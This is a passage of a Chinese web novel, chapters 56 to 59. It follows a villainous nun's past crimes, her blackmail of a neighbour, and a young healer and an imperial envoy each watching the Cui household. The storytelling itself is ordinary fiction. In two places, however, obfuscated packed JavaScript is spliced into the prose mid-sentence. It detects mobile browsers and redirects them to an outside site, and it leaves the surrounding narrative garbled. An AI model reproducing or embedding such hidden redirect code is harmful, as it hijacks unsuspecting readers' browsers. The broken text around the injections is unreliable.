那个平日低眉顺眼、说话都不敢大声的丫鬟,此刻手里竟握着一支火把。火光映着她那张清秀的脸,原本温顺的眉眼在跃动的火焰中,显出一种让水娘脊背发寒的平静。不,那不是平静,而是一种近乎癫狂的决绝与狠厉。 罗玉娘将火把扔向墙角堆积的柴薪,火焰“轰”地窜起,迅速蔓延。做完这一切,她转过身,朝角门方向看了一眼。 水娘慌忙缩身躲到阴影里,心脏狂跳。那一瞬间,她确信玉娘看到了她,两人的目光在火光与黑暗中,有过短暂的交汇。 可罗玉娘什么也没说,只是静静看了她一眼,便转身,步履急促地消失在巷子深处。 水娘惊惶万分,瘫坐在角门后,浑身冰冷,久久无法动弹。 直到巡夜的官兵赶来,救火的喧哗声将她惊醒,她才连滚爬爬地逃离了那个地方。 后来她才知道,那场大火烧死了二十三人,其中就包括忠勤伯府的戴衙内,和翠玉楼的头牌水娘。 官府在废墟里发现两具焦尸,一具身形似男子,一具穿着水娘的衣裙,身旁还有她的贴身玉佩。鸨母哭天抢地,认定是水娘命丧火海。 而她这个已死之人,带着灼伤的疤痕和仅存的首饰,开始了逃亡。 辗转南下,她想起自己有个远房的表姐,早年出家,在江南道一个叫水月庵的地方做主持。走投无路之下,她投奔而来。 表姐了尘师父是个真正心善的出家人,见她落魄可怜,便收留了她,让她在庵中带发修行,还为她治好了颈后的烧伤。对外只说是远房表妹遭遇不幸,前来投靠。 水娘从此成了水月庵的水仙姑。 她本想着,就这样青灯古佛了却残生也好。那些前尘往事,那场滔天大火,那些死去的人,就都忘了吧。 可她终究不是了尘那样真正看破红尘的人。 庵中的清苦日子过久了,她便开始不耐。尤其是看着那些香客捐的香油钱,看着附近村落送来的供奉,她心里那点贪念与不甘,又慢慢滋生出来。 了尘师父待她虽好,却严守清规,从不肯多取一丝一毫非分之财。水娘暗地里嗤笑表姐迂腐。这世道,哪有什么真正的清净之地?人活着,总要为自己打算。 后来,她认识了归平县的富商王兆贵。 王兆贵来水月庵上香,一眼就看穿了这位水仙姑绝非真正的六根清净之人。几次试探下来,两人便心照不宣地勾搭在一起。王兆贵需要水月庵这个看似清净的佛门之地,做一些见不得光的勾当。而水仙姑,则需要钱,需要势,需要有人帮她在这地方站稳脚跟。 各取所需,一拍即合。 至于了尘师父,那个碍事的、总想劝她回头是岸的表姐。水仙姑嘴角牵起一抹冷笑。当了她的路,她自然不会让她继续当路。那日清早她端给她一杯茶,她就突发心疾去世了。 她顺理成章地接管了水月庵。 从此,水月庵便成了王兆贵在归平县的一个隐秘据点。而那些原本清修的比丘尼,听话的便留着做些杂役,不听话的,自然有办法让她们自愿离开,或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“托你的福,侥幸捡回一条命。”水仙姑逼近一步,压低声音,“倒是你,胆子不小。放了那么大一场火,烧死了忠勤伯府的公子,居然还能全身而退,跑到江南来嫁人做了别人的娘子。真是好手段。” “我……我不知道你在说什么……”罗玉娘眼神躲闪,声音发颤。 “不知道?”水仙姑轻笑,“需要我提醒你吗?十年前,翠玉楼大火,你拿着火把站在后巷的样子,我可记得清清楚楚。要不要我现在就去衙门,找官爷们聊聊?” 罗玉娘脸色煞白,嘴唇哆嗦着,却说不出话。 水仙姑满意地看着她的反应,从袖中取出那个小布包,塞进她手里:“这里有几两碎银,还有张字条。字条上写得很清楚——我要你帮我做一件事。事成之后,你我两清,从前的事我烂在肚子里,你继续做你的崔娘子。” “什么事……”罗玉娘声音微弱。 “你隔壁住着的那个许娇杏,我要她身败名裂,生不如死。”水仙姑一字一句道,“具体怎么做,我会再告诉你。记住,你没有选择的余地。若敢不从,或是耍什么花样……” 她凑近罗玉娘耳边,声音轻得像耳语,却字字诛心:“我不但会把你放火杀人的事捅出去,还会让你那在码头做事的丈夫,让你那如花似玉的女儿,一起陪你下地狱。你说,忠勤伯府若是知道当年的纵火真凶还活着,会怎么对付你和你的家人?” 罗玉娘彻底瘫软,若不是靠着墙,几乎要栽倒在地。 水仙姑看着她绝望的神情,心中那口憋了十年的恶气,终于出了大半。 很好。当年那个卑贱的丫鬟,如今不过仍是她手中的棋子。十年前她能放火烧死那么多人,十年后,自然也能帮她除掉许娇杏这个祸患。 至于事成之后……水仙姑对着铜镜,露出一个阴冷的笑。 她当然不会真的放过罗玉娘。这种知道她太多秘密的人,留着迟早是祸患。等许娇杏的事解决,她自然会想办法,让这位崔娘子意外消失。 就像当年了尘师父那样。 烛火“噼啪”一声,爆开一朵灯花。 水仙姑回过神,看着镜中自己那张在烛光下半明半暗的脸。十年岁月,十年算计,她从京城名妓水娘,变成水月庵的主持水仙姑,手上沾了多少血,害了多少命,她自己都记不清了。 可那又怎样? 这世道,本就是弱肉强食。心不够狠,手不够辣,就只能被人踩在脚下,像随儿那样,像了尘那样,像那些在水月庵消失的比丘尼那样。 她抚摸着发间的海棠金簪,忽然想起许娇杏那双清澈沉静的眼睛。 那个小贱人,倒是有点意思。身世成谜,医术了得,明明是个孤女,却总能在绝境中翻身。可惜,她不该知道太多不该知道的事,更不该得罪她水仙姑。 “许娇杏……”水仙姑轻声念着这个名字,眼中杀意渐浓。 这次,她不会再失手。 窗外月色渐沉,远处传来隐约的更鼓声。 水仙姑吹熄烛火,禅房陷入一片黑暗。只有那支海棠金簪,在从窗缝漏进的微薄月光下,泛着幽冷的光。 57. 第57章 药材涨价了 柳枝巷在秋日的薄雾中缓缓苏醒。 许娇娇睁开眼时,天光已透过窗纸,在屋内投下柔和的光晕。她静静躺了片刻,听着窗外渐起的市井声响——远处货郎悠长的吆喝,近处井台边妇人们打水时的说笑,还有巷口那家早点铺子炸油条的滋啦声。 一切都和平常一样。 起身梳洗,铜盆里的水映出一张略显苍白的脸。这些日子她睡得并不安稳,梦里总是一片火光,还有水仙姑那双淬毒的眼睛。有时惊醒,她会下意识摸向枕边。那里藏着一把从张记带回来的短小药刀,锋利,足以防身。 静尘和静心已在厨房忙碌。米粥的香气弥漫开来,混合着昨日刘寡妇送的腌菜的咸香。见许娇娇进来,静心笑着招呼:“娇杏,今日粥里加了红枣,给你补补气血。” “谢谢静心。”许娇娇在桌边坐下,接过静尘递来的粥碗。热气氤氲,红枣在米粒间泛着暗红的光泽。 三人默默用着早饭,谁也没提昨日巷口见到的事。 饭后,许娇娇准备去张记生药铺。她将药箱仔细检查了一遍:银针、常用药材、止血药粉,还有那几本随身携带的医书笔记。最后,她把药刀用布包好,仔细塞进药箱夹层。 静心一直在一旁看着,忽然瘪了瘪嘴:“前些日子,张记生怕你影响了生意,你主动提出休息,他们二话不说就应了。如今遭了水患,缺人手了,才又想起叫你去坐诊……我总觉得,他们这么做不太厚道。” “静心,”静尘脸色微沉,“别这样说话。无论如何,张记对我们有恩。就算他们真有顾虑,也是人之常情。” “师姐说得对。”许娇娇放下药箱,转身握住静心的手,声音温和却认真,“静心师姐,在我最难的时候,是张伯和王婶伸手帮了我。我能走到今天,多亏了他们。之前那件事闹得那么大,铺子生意受了影响,他们也没赶我走。就算真赶了,我也绝无怨言。人不能忘本。” 她顿了顿,语气更软了些:“我知道你是为我着想,心里记着我的好。可这样的话,以后咱们不提了,万一传到张伯他们耳朵里,反倒伤感情。” 静心低下头,手指绞着衣角,小声说:“我知道了……娇杏,是我想岔了,对不住。” “没事的。”许娇娇拍了拍她的手,背起药箱。 “娇杏,”静尘送她到门边,压低声音,“今日早些回来。我这儿……总觉得心里不踏实。” 娇娇握住她的手:“师姐别担心,我会小心的。”又放低声音:“你们也留意隔壁的动静。” 静尘点头。用眼神暗示她放心。 走出院门时,许娇娇刻意放慢脚步。隔壁崔家静悄悄的,门窗紧闭,听不见任何动静。她目光扫过门楣。那里挂着一块簇新的桃木符,朱砂画的符咒在晨光中泛着暗红的光泽。江南人家信这个,求个家宅平安,本不稀奇。可崔家搬来不过两月,这符却新得刺眼,像是近日才挂上去的。 许娇娇心里记下这个细节,转身往巷口走去。 行至巷中段,正巧遇见刘寡妇提着菜篮子从另一头过来。两人打了个照面,刘寡妇眼睛一亮:“许娘子,这么早去铺子?” “刘婶早。”许娇娇含笑招呼,目光落在她篮子里——新鲜的青菜、豆腐,还有一条用草绳串着的鲫鱼,“今日菜市鱼新鲜?” “可不是!”刘寡妇来了谈兴,“说是太湖刚捞上来的,活蹦乱跳。我买了一条,给阿虎炖汤补身子。这孩子前些日子吓着了,夜里总睡不踏实。” 说着,她忽然压低声音,凑近些:“哎,你听说了吗?昨儿夜里,崔家好像吵嘴了。” 许娇娇心头一动,面上却不动声色:“哦?怎么回事?” “我也没听真切,”刘寡妇皱着眉,“大概是亥时末,我起夜,隐约听见隔壁有摔东西的声音,还有崔家娘子压着嗓子哭。后来就没声了。今早我看崔掌柜出门时,脸色铁青,招呼都没打就走了。” 她顿了顿,叹口气:“这夫妻俩,瞧着都是和气人,怎么关起门来……唉,也是,谁家没本难念的经。” 许娇娇默默听着,脑海中浮现昨日崔娘子那双红肿的眼。看来水仙姑的出现,确实给这个看似平静的家庭带来了风暴。 “许是有什么误会吧。”她轻声应和,“过几日就好了。” “但愿吧。”刘寡妇摇摇头,忽然想起什么,“对了,许娘子,你医术好,有没有安神的方子?阿虎这孩子……” “有的。”许娇娇点头,“我今日从铺子回来,给阿虎带些酸枣仁和百合,煮水喝,宁心安神。” 刘寡妇千恩万谢,两人又说了几句,便在巷口分手。 许娇娇走出柳枝巷,融入渐渐热闹起来的街市。秋日的阳光暖暖地洒在身上,她心里装着事,也没有感觉到秋阳的温暖,崔娘子和水仙姑相遇的那一幕始终出现在她脑中,这种被人暗中算计的感觉真被动。 走到张记药铺时,铺子已经开了门。 陈平正拿着扫帚清扫门口,见她来了,憨厚地笑笑:“许娘子早。” “陈大哥早。”许娇娇走进铺子,药香扑面而来。 经过水灾后的整顿,张记虽不复往日气派,却也收拾得整洁有序。药柜重新漆过,抽屉上贴着新写的药材标签。柜台换了新的,木料虽普通,但打磨得光滑平整。堂中那面“妙手回春”的匾额也修补好了,重新挂回原处,只是边角处还能看到修补的痕迹。 王氏正在柜台后整理账册,见她进来,笑着招呼:“娇杏来了。吃过早饭没?灶上还温着粥。” “吃过了,谢谢王婶。”许娇娇放下药箱,“张伯呢?” “在后院和廖大夫说话呢。”王氏压低声音,“好像是关于药材价格的事。这几日又涨了,尤其是黄连、金银花这些清热解毒的,价格翻了一倍还不止。” 许娇娇蹙眉。灾后药材涨价是意料之中,可如此暴涨,恐怕不单是天灾的缘故。 正说着,张东家和廖大夫从后堂出来。两人脸色都不太好看,见到许娇娇,张东家勉强挤出笑容:“娇杏来了。” “张伯,廖大夫。”许娇娇上前见礼,“可是药材的事?” 张东家长叹一声,将手中的单子递给她:“你看看。这是陈平今早从几个相熟的药材行打听来的价。往年这时节,正是药材丰收的时候,价格本该平稳。可今年……” 许娇娇接过单子细看,越看心越沉。常用药材普遍涨幅在五成以上,稀缺药材更是翻了两三倍。其中几味防治疫病的关键药材,价格高得离谱。 “这不对劲。”她抬起头,“就算水灾影响了收成,也不该涨到这个程度。” 廖大夫捻着胡须,沉声道:“老夫也觉得蹊跷。私下打听,说是庆和堂那边最近在大肆收购药材,有多少收多少,把市面上的存货扫了个七七八八。” “庆和堂?”许娇娇心头一动。 “正是。”张东家脸色难看,“庆和堂是归平县王大官人的产业,在江南道有十几家分号。背后据说还有官面上的关系。他们若有意囤货抬价,咱们这些小铺子根本无力抗衡。我托人去问过,说是庆和堂放话出来,以后江南道的药材买卖,都得经过他们的手。” 许娇娇沉默。又是他们,这王大官人和水仙姑就像是悬在她头顶的阴云,阴魂不散。 那咱们怎么办?”王氏忧心忡忡走过来,“库里存货不多了,照这个价格,根本进不起货。可铺子不能不开,老主顾们还指着咱们呢。这几日已经有好几个熟客来问,说怎么常用药都缺货……” 张东家背着手踱了几步,忽然看向许娇娇:“娇杏,我记得你前些日子提过,认识些山里的药农?” 许娇娇点头:“是,落溪村那边有几个相熟的药农,往年常给归平县和镇上的一些小药铺供写山货。只是水灾后山路难行,不知他们情况如何。是否还有存货。” “如此,”张东家沉吟道,“你写封信,托人带去问问。若是他们手里还有存货,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289839|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们直接收购,价格可以比市价高一成。一来帮衬乡亲,二来也能解燃眉之急。” “好,我今日就写信。”许娇娇应下。 廖大夫这时开口道:“此外,咱们也得调整方子。一些价格飞涨的药材,看看能否用功效相近、价格便宜的替代。治病救人固然要紧,可若药材成本太高,铺子撑不下去,反而谁都救不了。” “廖大夫说得在理。”张东家点头,“只是这替换药材的事,需得谨慎,万不能因省钱而误了疗效,坏了张记的名声。” 许娇娇思索片刻,道:“张伯,廖大夫,我这几日翻阅医书,倒有些想法。比如黄连价高,有些方子或可用黄柏替代,虽清热之力稍逊,但配伍得当,亦能收效。金银花价昂,可部分用连翘、蒲公英代替。还有一些地方常见的草药,如马齿苋、车前草,虽不如名贵药材药力迅猛,但胜在易得价廉,用于轻症或预防,也是好的。” 廖大夫眼睛一亮:“许娘子此言甚是!老夫行医多年,也深知民间有许多土方验方,用药寻常却颇具奇效。如今非常之时,或可斟酌采用。” 几人又商议了一番,定下几味可以替换的药材。许娇娇拿出随身带的医书笔记,与廖大夫逐一核对药性、用量、配伍禁忌,确保替代方案安全有效。张东家在一旁听着,不时点头,紧锁的眉头终于稍稍舒展。 这一忙,就到了午时。 王氏煮了面,几人简单用过,便各忙各的。下午陆续有病人上门,多是灾后调理、或是旧疾复发。许娇娇和廖大夫轮流坐诊,开方时都尽量选用价格尚可承受的药材,若遇必需用贵价药的重症,也会向病家说明情况,让人心中有数。 申时初,病人少了些。许娇娇得了空,坐在柜台旁,提笔给落溪村的药农写信。她先问了乡亲们的安好,提及水灾可曾波及村落,然后才委婉打听药材的事,言明张记愿以公道价格收购。 笔尖在纸上沙沙作响,她写着写着,心思却飘远了。 落溪村……那个她出生、又被迫离开的地方。村口的歪脖子老槐树,夏日里蝉鸣震天;后山那条蜿蜒的小径,两旁长满了野菊和蒲公英;村西头李阿婆家的土坯房……李阿婆还好吗?那个在她父母双亡后,偷偷收留她照顾她的老妇人,她如今还好吗? 她忽然很想回去看看。不是现在,等一切尘埃落定,等水仙姑的威胁解除,她要回去,给父母扫墓,给李阿婆磕个头。 “娇杏?” 王氏的声音将她从回忆中唤醒。许娇娇抬头,见王氏端着一杯茶放在她手边:“写累了吧?歇歇眼睛。” “谢谢王婶。”许娇娇接过茶,温热透过粗瓷杯壁传到掌心。 “想什么呢!这么入神?”王氏温和地问。 “没想什么,只是忽然想到了一味药。”许娇娇回过神笑了笑。 “累了就歇歇。” 正说着,门外进来一个中年汉子,穿着短打,裤腿上沾着泥点,面色焦急:“大夫,大夫在吗?我家婆娘肚子疼得厉害!” 许娇娇立刻起身:“这边请。廖大夫在后堂,我这就去请他。” 忙碌又起。等诊治完这个急症病人,已是酉时末。天色渐暗,街面上铺子陆续点上灯。 许娇娇收拾好药箱,与张东家、廖大夫告辞。 张东家送她到门口,低声道:“信写好了就交给陈平,让他明日一早去。娇杏,铺子如今艰难,多亏了你和廖大夫撑着。” “张伯言重了,这是应当的。”许娇娇福了一礼,“您也早些歇息,莫要太过忧心。车到山前必有路。” 走出铺子,秋夜的凉风扑面而来。许娇娇紧了紧衣襟,提着灯笼往柳枝巷走。 街道两旁的灯火次第亮起,炊烟袅袅,饭香四溢。疲惫了一日的人们归家,孩童的嬉闹声从巷弄深处传来,夹杂着母亲唤儿吃饭的吆喝。 这寻常的、琐碎的、充满烟火气的景象,让许娇娇心中那点因阴谋算计而生的寒意,慢慢被熨帖。 58. 第58章 盯梢 暮色将合未合,菰城街巷间渐次亮起星星点点的灯火。 许娇娇提着药箱从张记生药铺出来时,西边的云霞正烧成一片温润的橘红。秋日的黄昏褪去了夏日的燥烈,风从街口吹来,带着河水退尽后草木复苏的清苦气息。 她沿着熟悉的街道往柳枝巷走,脚步比平日慢了些。药铺里忙了一整日,肩颈有些僵,但心里更沉的,是白日里那些盘旋不去的念头。 正思忖间,街边卖馄饨的刘三娘从热气腾腾的锅边抬起头,扬声招呼:“哟,小许大夫下工啦?” 许娇娇回神,弯起唇角:“三娘好生意。” “托您的福!”刘三娘麻利地捞起一笊篱馄饨,白胖的面皮在沸水里翻滚,“今儿个包了鲜肉馅的,给您下一碗尝尝?不收钱!” “三娘莫客气,刚在铺里用过了。”许娇娇笑着摆手。 话音未落,旁边干货铺的周掌柜探出头来,手里还捏着记账的毛笔:“小许大夫,我家那小子这几日咳得轻多了,按您说的方子,又去抓了两剂,真是多谢您!” “周掌柜客气,孩子底子好,将养几日便无碍了。” 一路行去,这样的招呼声此起彼伏。卖菜的陈婆子隔着半个摊位扯着嗓子道辛苦,布庄的周娘子从柜台后探身含笑点头,就连往日不大说话的打铁匠老郑,也从火星四溅的铺子里抬起汗涔涔的脸,瓮声瓮气地说了句“小许大夫慢走”。 许娇娇一一颔首回应,心头淌过一股温热的细流。这些面孔,这场水患前不过是点头之交,甚至有人曾因那些谣言对她侧目而视。可如今,每一句问候里都是实打实的熟稔与敬重。 她忽然想起那日刘寡妇说的话——人心所向。 但行好事莫问前程。脑海里忽然蹦出前世的这句话。她暗自抿唇笑了笑。 行至东门瓦子的街角,王大郎的面摊子前坐着三五个食客,其中一人身形魁梧,正埋头吃得满头大汗。听见脚步声,那人抬起头来,与许娇娇打了个照面。 “小许大夫!” 李三撂下筷子就站起身,动作太急,险些带翻了条凳。他顾不得扶,三两步跨到许娇娇跟前,一双粗糙的大手不知往哪儿放,只在衣襟上反复蹭着。 “您、您下工了?”他瓮声道,眼里闪着几分局促的亮光。 许娇娇微微一怔,随即认出他来。东门瓦子一带的闲汉头目,手下管着十几个专在各处酒楼茶坊帮闲跑腿的兄弟。水患时,他那位相依为命的兄长病倒在仁心堂,上吐下泻,眼瞅着就不成了。是她守了整整一夜,用补液的法子吊住那口气,等来了药材。 “李三哥。”她温声道,“令兄身子可大好了?” “好了好了,全好了!”李三连连点头,声音不自觉地拔高,“前几日都能下地走动了,今儿个还念叨,说等利索了,要亲自去柳枝巷给您磕头!” “使不得。”许娇娇忙道,“病后需静养,切莫劳动。” “您放心,我拘着他呢。”李三憨厚地笑笑,搓了搓手,忽然正色起来,压低声音,“小许大夫,有句话……我搁在心里好些日子了。” 他抬眼,目光直直看向许娇娇,没有半分闲汉惯有的油滑,只有一腔赤诚的热意:“这回水患,我哥那条命是您捡回来的。我李三没读过书,也不懂什么大道理,可谁对我有恩,我记一辈子。”他顿了顿,喉头滚动,“小许大夫往后有什么事,尽管吩咐。赴汤蹈火,在所不惜。” 许娇娇看着眼前这张被风吹日晒磨得粗糙的脸,心头微震。那目光太直白,没有任何修饰,却重逾千斤。 她没有推辞客气。 “李三哥。”她轻轻开口,声音压得极低,“眼下……倒真有一事,想劳烦你。” 李三眼睛一亮,整个人都往前倾了倾:“您说!” 许娇娇四下一望。面摊上其他食客正埋头吃喝,无人留意这角落。她往阴影里挪了半步,李三会意,立刻跟上来,侧耳倾听。 “柳枝巷东头,水井旁那户崔家,你可有印象?” 李三凝神想了想:“白墙黑瓦那户?崔掌柜在码头朱记绸缎庄做二掌柜,娘子姓罗,有个闺女。搬来不到三月。”他顿了顿,“他家怎么了?” 许娇娇没有立刻回答。她看着李三,目光平静,却带着前所未有的郑重。 “我想劳烦李三哥和兄弟们,帮我盯着这户人家。”她一字一句道,“白日里谁来过、夜里可有人出入、崔娘子与什么人来往,事无巨细,都替我记下。” 李三瞳孔微微一缩,却没有追问缘由。他只重重点头:“成。” “这事需得隐秘。”许娇娇又道,“崔娘子……或许有些不同寻常的牵扯。盯梢的人要格外小心,切莫打草惊蛇。多找几个靠得住的兄弟,轮换着来,莫教人起疑。” “您放心。”李三低声道,“我手下有七八个弟兄,嘴严腿快,各条街巷都熟。盯个人,神不知鬼不觉。” 许娇娇从袖中摸出一个青布小包,递过去。李三下意识要推,却被她按住手背。 “这是五百文。”许娇娇声音平静,却不容推拒,“不是谢仪,是给兄弟们买酒驱寒的。夜里风凉,不能让大家白辛苦。” 李三攥着那布包,指节泛白,半晌说不出话。问百问,抵得上寻常人家的小半个月的嚼用。他喉头滚动,最后只重重“嗳”了一声,将那布包塞进怀里,贴肉放着。 “小许大夫,”他抬头,眼眶微红,“您这份情,我记下了。” 许娇娇轻轻摇头:“是我该谢你们。” 她又叮嘱了几句,将崔娘子的体貌特征、日常出入的大致时辰一一告知。李三听得仔细,不住点头,口中默念,似是强行记下。 暮色愈发浓了。面摊的灯笼已点起,昏黄的光晕在秋风里轻轻摇晃。 “小许大夫,”李三最后低声道,“您自个儿也千万当心。” 许娇娇颔首,提起药箱,转身往柳枝巷走去。 走出十余步,她忍不住回头。李三还站在原地,魁梧的身形半隐在面摊的烟气里,正将那个青布小包又往里掖了掖。 她收回目光,加快了脚步。 巷口的风比街上更凉了些,带着深秋特有的萧索。许娇娇紧了紧衣襟,刚要拐进柳枝巷,余光却忽然捕捉到一处异样—— 巷口斜对面,孙氏杂货铺旁的那株老槐树树下,不知何时多了个卖炒栗子的小贩。 这本身没什么稀奇。入秋后,菰城街巷卖栗子、卖柿饼的担子多如牛毛。可这小贩的栗炉子支得忒偏,几乎贴着树身,人坐在阴影里,面目都看不真切。他并不吆喝,只偶尔拿火箸拨弄两下炉灰,目光却时不时往巷子深处瞟。 许娇娇脚步不停,神色如常地拐进巷子,心跳却悄悄加快了几拍。 她想起崔家新挂的那块桃木符,想起刘寡妇说的“夜里有人看见黑影”,想起昨日巷口水仙姑塞进崔娘子手中的布包。 这巷子,怕是被人盯上了。 又或者,被盯上的人,本就是她。 她稳住心神,推开院门。 静尘正坐在廊檐下就着天光缝补一件旧衫,见她进来,抬头露出温婉笑意:“回来了?灶上温着粥。” “嗯。”许娇娇闩好门,走到静尘身边,低声道,“师姐,隔壁今日可有动静?” 静尘手中针线一顿,压低声音:“午后崔娘子出去了一趟,约莫半个时辰。回来时脸色不大好,手里多了个油纸包,看不真切是什么。傍晚崔掌柜回来,两人……似乎又拌了嘴,隔着墙隐约听见几句,崔娘子像是哭了。” 许娇娇沉默片刻,轻轻点头。 夜渐深。柳枝巷沉入寂静,只有秋虫唧唧,在墙根下不知疲倦地吟唱。 许娇娇躺在榻上,睁眼望着帐顶。隔壁崔家早已没了动静,连灯火都熄了。可她睡不着。 五百文。她心里默默算着。张记灾后生意清淡,沈家那二十两银子,她留了十两给铺子周转,手头本就紧巴。这五百文是静尘从压箱底的私房里匀出来的,她说“这是救人积德的事,比供在菩萨跟前还灵”。 她翻了个身,闭上眼。眼前却浮起李三那张被炉火映红的脸。 “赴汤蹈火,在所不惜。” 她不是没有利用这些人的感激。可她没有别的法子。她一个孤女,没有家世,没有靠山,她能倚仗的,只有这些市井间最朴素的义气。 隔壁隐隐传来一声极轻的响动,像是有人翻身,又像是梦里叹息。 许娇娇睁开眼,静静听着。 更深夜重,菰城北街钦差行辕的灯刚刚亮起。 长风推门而入,烛火微微一跳。 “郎主。” 长风手中捏着一份密报。“这是早上收到的密报。” 裴宴这几日连日忙着,刚回到钦差行辕,披风都没来得及解,肩头还带着入夜后的寒意。裴宴坐定后,示意长风接着说。 长风会意,接着道:“昨日申时末,崔旺的浑家崔娘子在城西观音桥巷口与一名中年尼姑会面。尼姑年约三旬有余,操京城口音,体态与归平县水月庵主持水仙姑特征相符。 裴宴目光微凝。让长风接着往下说。 ”她们会面约一刻钟。崔娘子离开时,袖中似乎多了物事。那尼姑随后往南门方向去了,属下已着人暗中跟缀。” “崔旺呢?” “崔旺今日未时与王兆仁在码头德胜茶坊私会。王兆仁离开后,崔旺又在茶坊独坐许久,神色惶遽。”长风顿了顿,“另外,郎主先前吩咐查的王兆仁近日行踪,属下已理出脉络。王兆仁这半月频繁出入城南一处私宅,宅主姓朱,表面经营绸缎庄,实则与崔琰门下的几个幕僚都有往来。” 裴宴未置可否,指尖在案上轻轻叩了两下。 长风等了等,见他没有别的吩咐,正要告退,忽然想起一事,脚步一顿。 “郎主,还有桩小事……”他微微蹙眉,“盯梢的暗线报,今日在崔家附近,发现另有一拨人也在盯着崔家。” 裴宴叩击案几的指尖骤然停住。 “什么人?” “尚未查明。”长风垂首,“对方行事谨慎,皆着常服,白日里扮作挑担货郎、瓦舍闲汉,入夜后便隐在巷口暗处,轮替极有章法。属下今日午后与之碰了个照面,对方似 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裴宴闭上眼,抬手按了按眉心。崔旺、王兆仁、崔琰——这条线他查了数月,每一步都如履薄冰。如今密旨又至,圣意难测,他身处漩涡中心,任何差池都可能前功尽弃。 他不该分心。 可那拨人是谁遣的,这念头像一枚细小的刺,扎进皮肉里,不致命,却时时提醒它的存在。 次日午后,长风带回答案。 “郎主,查清了。”他垂首,语气里带着一丝难以察觉的复杂,“那拨人是……东门瓦子闲汉头目李三的手下。李三受人所托,盯着崔家。” 裴宴执笔的手微微一顿。他没有抬头,声音仍是惯常的冷峻:“受谁所托?” 长风沉默了一瞬。 “张记生药铺坐诊女医,许娘子。” 笔尖停在纸上,洇开一小团墨。 裴宴没有说话。长风垂首静立,不敢抬眼。 良久,裴宴搁下笔。他低头看着那份被墨迹污了的文书,半晌,淡淡道:“知道了。下去吧。” 长风领命退下。书房门阖上的轻响在寂静中格外清晰。 裴宴靠在椅背,闭目片刻。 他忽然想起那日官船之上,沈谦问她“日后有何打算”,她答“民女没想过那么远”时,面上那一闪而过的茫然。 她没想过那么远。 可她却想得到雇闲汉盯人。 她一个女子,在这座刚刚经历过水患疫病的城池里,无亲无故,无依无靠。她不知道自己面对的是谁,不知道崔家背后牵扯着什么,她只是凭着直觉和那一腔不肯熄灭的火,在这漩涡中心小心翼翼铺开自己那张微薄的网。 五百文。 裴宴睁开眼,目光落向窗外。秋阳正盛,院中那棵老槐树的叶子已开始泛黄,风过时沙沙作响。 他忽然想知道,她给李三那五百文时,用的是怎样的神情。 …… 暮色再次降临时,柳枝巷迎来了意料之外的访客。 长风站在许娇娇院门外,叩门三下,不疾不徐。 静尘开的门,见到他,微微一怔。长风拱手为礼,声音不高,却清晰入耳:“静尘师父,郎主差小人来传句话。” 许娇娇从堂屋走出,站在廊檐下,隔着半开的院门与长风对视。她的目光平静,只在最初那一瞬,掠过极细微的意外。 “郎主说,”长风垂眸,语速不快,字字分明,“崔家之事,娘子所托李三,可以撤了。” 许娇娇瞳孔微缩。 长风继续道:“郎主已有部署,近日崔家左近人手混杂,娘子的人若继续留着,恐生不必要的……误会。”他顿了顿,抬眸,与许娇娇目光相接,语气放得更轻,“娘子信不过旁人,郎主说,信他便是。” 晚风穿巷,吹动许娇娇鬓边碎发。 她静静看着长风,长风也静静看着她。廊下那丛月季在暮色里开得正盛,馥郁的香气被风送过来,轻轻笼住两人之间这片刻的寂静。 半晌,许娇娇垂下眼帘。 “劳长风大哥回禀裴安抚,”她轻声道,声音平和,“小女知道了。” 长风颔首,不再多言,转身欲要离去。 “等等。”许娇娇忽然开口叫住了他。 长风转身,“娘子可还有事? 许娇娇沉默良久,久到长风以为他刚才误听了。半晌许娇娇方道:“麻烦长风大哥给裴安抚带句话,就说我有要事和裴安抚说,还请裴安抚拨冗一见。” 看着眼前的院门缓缓阖上。静尘站在许娇娇身后,欲言又止。 许娇娇没有回头。她望着门板上那细细的木纹,她这个冲动的想法也不知道对不对,但是开弓没有回头箭,罢了,既然已经说出口,就没必要再纠结。 他什么也没问。他不问她为何要盯崔家,不问她从何得知崔家可疑,他只是用他那冷峻得不近人情的语调,让长风传来那一句—— “信他便是。” 许娇娇忽然轻轻弯了一下唇角。 夜风渐起,秋虫唧唧。柳枝巷沉入又一片安静的夜色。 59. 第59章 京城翠玉楼 第二日,许娇娇找了个借口让李三将人都撤了,李三忙将那五百文钱要还给许娇娇,许娇娇急忙制止,又说了许多的安慰的话,李三感激不尽连连道谢,又说往后有事只管寻他们兄弟,必不负娘子所托。 日子似乎又回到了之前那种生活,早上到张记坐诊,傍晚回家。不过,许娇娇心中一直记挂着让长风带话给裴宴的事,也不知是长风没有带到还是忘记了。总之好几天了,也没个消息。 且说钦差大人裴宴。自从水患疫病解除后,他每日忙着江南道各地上报的水患损失、人员伤亡、堤坝加固、屋舍修葺等事宜,跟个陀螺似的。好容易忙完这些上报给朝廷。他心中还揣着那密旨,前些日子他暗中将调查的任务分配给下面的人。今日,他和几个幕僚下属们议事,简单吃了点吃食后,又召集他们商议。眼看夜已深。钦差行辕还灯火通明。 法曹参军赵明远与裴宴的亲信幕僚赵先生争论正酣,裴宴靠在椅背上,指尖有一搭没一搭地敲着桌面。嗡嗡的议论声吵得他额角发胀,他瞥向静坐一旁的王武——这位殿前司都头是陛下特意指派来护卫他的,一路沉默,却让人安心。 门外传来护卫的禀报:“虞候秦海求见。” 裴宴精神一振:“让他进来。” 长风上前拉开门。秦海一身夜行衣沾着露水踏入,脸上却透着压抑不住的兴奋。 “郎主,查到了。”他从怀中取出一卷誊抄的旧档,双手呈上,“归平县水月庵那位水仙姑,还有柳枝巷的崔娘子,根底……确实在京城。” 